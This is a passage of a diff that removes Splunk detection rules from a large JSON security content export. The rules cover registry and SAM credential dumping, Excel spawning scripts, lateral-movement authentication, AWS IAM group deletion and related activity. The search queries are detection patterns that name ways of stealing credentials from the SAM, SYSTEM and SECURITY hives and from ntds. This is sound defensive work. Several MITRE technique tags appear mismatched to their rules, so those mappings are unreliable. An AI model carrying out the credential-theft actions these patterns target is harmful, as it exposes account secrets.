values(Permissions) by user, object, user_agent, Operation | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_privileged_graph_api_permission_assigned_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ assigned privileged Graph API permissions to $object$", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.002", - "mitre_attack_technique": "Security Account Manager", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "GALLIUM", - "Ke3chang", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Attempted Credential Dump From Registry via Reg exe", - "description": "The following analytic detects the execution of reg.exe with parameters that export registry keys containing hashed credentials. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving reg.exe or cmd.exe with specific registry paths. This activity is significant because exporting these keys can allow attackers to obtain hashed credentials, which they may attempt to crack offline. If confirmed malicious, this could lead to unauthorized access to sensitive accounts, enabling further compromise and lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=reg* OR Processes.process_name=cmd* Processes.process=*save* (Processes.process=*HKEY_LOCAL_MACHINE\\\\Security* OR Processes.process=*HKEY_LOCAL_MACHINE\\\\SAM* OR Processes.process=*HKEY_LOCAL_MACHINE\\\\System* OR Processes.process=*HKLM\\\\Security* OR Processes.process=*HKLM\\\\System* OR Processes.process=*HKLM\\\\SAM*) by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `attempted_credential_dump_from_registry_via_reg_exe_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Credential Dumping", - "DarkSide Ransomware", - "Data Destruction", - "Industroyer2", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to export the registry keys.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.002", - "mitre_attack_technique": "Security Account Manager", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "GALLIUM", - "Ke3chang", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Detect Copy of ShadowCopy with Script Block Logging", - "description": "The following analytic detects the use of PowerShell commands to copy the SAM, SYSTEM, or SECURITY hives, which are critical for credential theft. It leverages PowerShell Script Block Logging (EventCode=4104) to capture and analyze the full command executed. This activity is significant as it indicates an attempt to exfiltrate sensitive registry hives for offline password cracking. If confirmed malicious, this could lead to unauthorized access to credentials, enabling further compromise of the system and potential lateral movement within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*copy*\",\"*[System.IO.File]::Copy*\") AND ScriptBlockText IN (\"*System32\\\\config\\\\SAM*\", \"*System32\\\\config\\\\SYSTEM*\",\"*System32\\\\config\\\\SECURITY*\") | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_copy_of_shadowcopy_with_script_block_logging_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "PowerShell was identified running a script to capture the SAM hive on endpoint $dest$ by user $user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.002", - "mitre_attack_technique": "Security Account Manager", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "GALLIUM", - "Ke3chang", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Esentutl SAM Copy", - "description": "The following analytic detects the use of `esentutl.exe` to access credentials stored in the ntds.dit or SAM file. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because it may indicate an attempt to extract sensitive credential information, which is a common tactic in lateral movement and privilege escalation. If confirmed malicious, this could allow an attacker to gain unauthorized access to user credentials, potentially compromising the entire network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_esentutl` Processes.process IN (\"*ntds*\", \"*SAM*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `esentutl_sam_copy_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping", - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user user$ attempting to capture credentials for offline cracking or observability.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.002", - "mitre_attack_technique": "Security Account Manager", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "GALLIUM", - "Ke3chang", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Excel Spawning PowerShell", - "description": "The following analytic detects Microsoft Excel spawning PowerShell, an uncommon and suspicious behavior. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where the parent process is \"excel.exe\" and the child process is PowerShell. This activity is significant because it is often associated with spearphishing attacks, where malicious attachments execute encoded PowerShell commands. If confirmed malicious, this behavior could allow an attacker to execute arbitrary code, potentially leading to data exfiltration, privilege escalation, or persistent access within the environment.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=\"excel.exe\" `process_powershell` by Processes.parent_process Processes.parent_process_name Processes.process_name Processes.user Processes.dest Processes.original_file_name | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)` | `excel_spawning_powershell_filter`", - "tags": { - "analytic_story": [ - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$, indicating potential suspicious macro execution.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.002", - "mitre_attack_technique": "Security Account Manager", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "GALLIUM", - "Ke3chang", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Excel Spawning Windows Script Host", - "description": "The following analytic identifies instances where Microsoft Excel spawns Windows Script Host processes (`cscript.exe` or `wscript.exe`). This behavior is detected using Endpoint Detection and Response (EDR) telemetry, focusing on process creation events where the parent process is `excel.exe`. This activity is significant because it is uncommon and often associated with malicious actions, such as spearphishing attacks. If confirmed malicious, this could allow an attacker to execute scripts, potentially leading to code execution, data exfiltration, or further system compromise. Immediate investigation and mitigation are recommended.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=\"excel.exe\" Processes.process_name IN (\"cscript.exe\", \"wscript.exe\") by Processes.parent_process Processes.parent_process_name Processes.process_name Processes.user Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)` | `excel_spawning_windows_script_host_filter`", - "tags": { - "analytic_story": [ - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$, indicating potential suspicious macro execution.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.002", - "mitre_attack_technique": "Security Account Manager", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "GALLIUM", - "Ke3chang", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Extraction of Registry Hives", - "description": "The following analytic detects the use of `reg.exe` to export Windows Registry hives, which may contain sensitive credentials. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving `save` or `export` actions targeting the `sam`, `system`, or `security` hives. This activity is significant as it indicates potential offline credential access attacks, often executed from untrusted processes or scripts. If confirmed malicious, attackers could gain access to credential data, enabling further compromise and lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_reg` (Processes.process=*save* OR Processes.process=*export*) AND (Processes.process=\"*\\sam *\" OR Processes.process=\"*\\system *\" OR Processes.process=\"*\\security *\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.parent_process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `extraction_of_registry_hives_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-257A", - "CISA AA23-347A", - "Credential Dumping", - "DarkSide Ransomware", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious use of `reg.exe` exporting Windows Registry hives containing credentials executed on $dest$ by user $user$, with a parent process of $parent_process_id$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.002", - "mitre_attack_technique": "Security Account Manager", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "GALLIUM", - "Ke3chang", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "SAM Database File Access Attempt", - "description": "The following analytic detects attempts to access the SAM, SYSTEM, or SECURITY database files within the `windows\\system32\\config` directory using Windows Security EventCode 4663. This detection leverages Windows Security Event logs to identify unauthorized access attempts. Monitoring this activity is crucial as it indicates potential credential access attempts, possibly exploiting vulnerabilities like CVE-2021-36934. If confirmed malicious, an attacker could extract user passwords, leading to unauthorized access, privilege escalation, and further compromise of the system.", - "search": "`wineventlog_security` (EventCode=4663) ProcessName!=*\\\\dllhost.exe ObjectName IN (\"*\\\\Windows\\\\System32\\\\config\\\\SAM*\",\"*\\\\Windows\\\\System32\\\\config\\\\SYSTEM*\",\"*\\\\Windows\\\\System32\\\\config\\\\SECURITY*\") | stats values(AccessList) count by ProcessName ObjectName dest src_user | rename ProcessName as process_name | `sam_database_file_access_attempt_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping", - "Graceful Wipe Out Attack", - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - }, - { - "name": "ObjectName", - "type": "File", - "role": [ - "Attacker" - ] - } - ], - "message": "The following process $process_name$ accessed the object $ObjectName$ attempting to gain access to credentials on $dest$ by user $src_user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.002", - "mitre_attack_technique": "Security Account Manager", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "GALLIUM", - "Ke3chang", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Windows Rapid Authentication On Multiple Hosts", - "description": "The following analytic detects a source computer authenticating to 30 or more remote endpoints within a 5-minute timespan using Event ID 4624. This behavior is identified by analyzing Windows Event Logs for LogonType 3 events and counting unique target computers. Such activity is significant as it may indicate lateral movement or network share enumeration by an adversary. If confirmed malicious, this could lead to unauthorized access to multiple systems, potentially compromising sensitive data and escalating privileges within the network.", - "search": " `wineventlog_security` EventCode=4624 LogonType=3 TargetUserName!=\"ANONYMOUS LOGON\" TargetUserName!=\"*$\" | bucket span=5m _time | stats dc(Computer) AS unique_targets values(Computer) as host_targets by _time, IpAddress, TargetUserName | where unique_targets > 30 | `windows_rapid_authentication_on_multiple_hosts_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Active Directory Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "host_targets", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "IpAddress", - "type": "Endpoint", - "role": [ - "Attacker" - ] - } - ], - "message": "The source computer with ip address $IpAddress$ authenticated to a large number of remote endpoints within 5 minutes.", - "risk_score": 48, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.002", - "mitre_attack_technique": "Security Account Manager", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "GALLIUM", - "Ke3chang", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } } ], "external_reference": [ @@ -157626,61 +129545,6 @@ "source_data_element": "process", "relationship": "modified", "target_data_element": "firmware" - }, - { - "name": "Windows BootLoader Inventory", - "description": "The following analytic identifies the bootloader paths on Windows endpoints. It leverages a PowerShell Scripted input to capture this data, which is then processed and aggregated using Splunk. Monitoring bootloader paths is significant for a SOC as it helps detect unauthorized modifications that could indicate bootkits or other persistent threats. If confirmed malicious, such activity could allow attackers to maintain persistence, bypass security controls, and potentially control the boot process, leading to full system compromise.", - "search": "`bootloader_inventory` | stats count min(_time) as firstTime max(_time) as lastTime values(_raw) by host | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_bootloader_inventory_filter`", - "tags": { - "analytic_story": [ - "BlackLotus Campaign", - "Windows BootKits" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A list of BootLoaders are present on $dest$", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1542.001", - "mitre_attack_technique": "System Firmware", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1542", - "mitre_attack_technique": "Pre-OS Boot", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [], @@ -158239,179 +130103,6 @@ "references": [ "https://confluence.atlassian.com/doc/working-with-confluence-logs-108364721.html" ] - }, - { - "name": "ASL AWS IAM Successful Group Deletion", - "description": "The following analytic detects the successful deletion of a group within AWS IAM, leveraging CloudTrail IAM events. This action, while not inherently malicious, can serve as a precursor to more sinister activities, such as unauthorized access or privilege escalation attempts. By monitoring for such deletions, the analytic aids in identifying potential preparatory steps towards an attack, allowing for early detection and mitigation. The identification of this behavior is crucial for a SOC to prevent the potential impact of an attack, which could include unauthorized access to sensitive resources or disruption of AWS environment operations.", - "search": "`amazon_security_lake` api.operation=DeleteGroup status=Success | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.name actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.name as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `asl_aws_iam_successful_group_deletion_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has sucessfully deleted a user group from $src_ip$", - "risk_score": 5, - "security_domain": "cloud", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069.003", - "mitre_attack_technique": "Cloud Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "AWS IAM Successful Group Deletion", - "description": "The following analytic identifies the successful deletion of an IAM group in AWS. It leverages CloudTrail logs to detect `DeleteGroup` events with a success status. This activity is significant as it could indicate potential changes in user permissions or access controls, which may be a precursor to further unauthorized actions. If confirmed malicious, an attacker could disrupt access management, potentially leading to privilege escalation or unauthorized access to sensitive resources. Analysts should review related IAM events, such as recent user additions or new group creations, to assess the broader context.", - "search": "`cloudtrail` eventSource=iam.amazonaws.com eventName=DeleteGroup errorCode=success (userAgent!=*.amazonaws.com) | stats count min(_time) as firstTime max(_time) as lastTime values(requestParameters.groupName) as group_deleted by src eventName eventSource errorCode user_agent awsRegion userIdentity.principalId user_arn | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_iam_successful_group_deletion_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "group_deleted", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ has sucessfully deleted mulitple groups $group_deleted$ from $src$", - "risk_score": 5, - "security_domain": "cloud", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069.003", - "mitre_attack_technique": "Cloud Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } } ], "external_reference": [ @@ -159113,123 +130804,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Reg exe Manipulating Windows Services Registry Keys", - "description": "The following analytic detects the use of reg.exe to modify registry keys associated with Windows services and their configurations. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, parent processes, and command-line executions. This activity is significant because unauthorized changes to service registry keys can indicate an attempt to establish persistence or escalate privileges. If confirmed malicious, this could allow an attacker to control service behavior, potentially leading to unauthorized code execution or system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process_name) as process_name values(Processes.parent_process_name) as parent_process_name values(Processes.user) as user FROM datamodel=Endpoint.Processes where Processes.process_name=reg.exe Processes.process=*reg* Processes.process=*add* Processes.process=*Services* by Processes.process_id Processes.dest Processes.process | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `reg_exe_manipulating_windows_services_registry_keys_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Windows Persistence Techniques", - "Windows Service Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A reg.exe process $process_name$ with commandline $process$ in host $dest$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.011", - "mitre_attack_technique": "Services Registry Permissions Weakness", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Service Creation Using Registry Entry", - "description": "The following analytic detects the modification of registry keys that define Windows services using reg.exe. This detection leverages Splunk to search for specific keywords in the registry path, value name, and value data fields. This activity is significant because it indicates potential unauthorized changes to service configurations, a common persistence technique used by attackers. If confirmed malicious, this could allow an attacker to maintain access, escalate privileges, or move laterally within the network, leading to data theft, ransomware, or other damaging outcomes.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=\"*\\\\SYSTEM\\\\CurrentControlSet\\\\Services*\" Registry.registry_value_name = ImagePath) BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_service_creation_using_registry_entry_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Brute Ratel C4", - "CISA AA23-347A", - "PlugX", - "Suspicious Windows Registry Activities", - "Windows Persistence Techniques", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A Windows Service was created on a endpoint from $dest$ using a registry entry", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.011", - "mitre_attack_technique": "Services Registry Permissions Weakness", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -160292,108 +131866,6 @@ "macOS", "Windows" ] - }, - { - "name": "GitHub Dependabot Alert", - "description": "The following analytic identifies the creation of GitHub Dependabot alerts, which indicate potential vulnerabilities in the codebase. It detects this activity by searching for logs with the \"create\" action and analyzing fields such as affected package, severity, and fixed version. This detection is significant for a SOC because it helps identify and address security risks in the codebase proactively. If confirmed malicious, these vulnerabilities could be exploited by attackers to gain unauthorized access or cause breaches, leading to potential data loss or system compromise.", - "search": "`github` alert.id=* action=create | rename repository.full_name as repository, repository.html_url as repository_url sender.login as user | stats min(_time) as firstTime max(_time) as lastTime by action alert.affected_package_name alert.affected_range alert.created_at alert.external_identifier alert.external_reference alert.fixed_in alert.severity repository repository_url user | eval phase=\"code\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `github_dependabot_alert_filter`", - "tags": { - "analytic_story": [ - "Dev 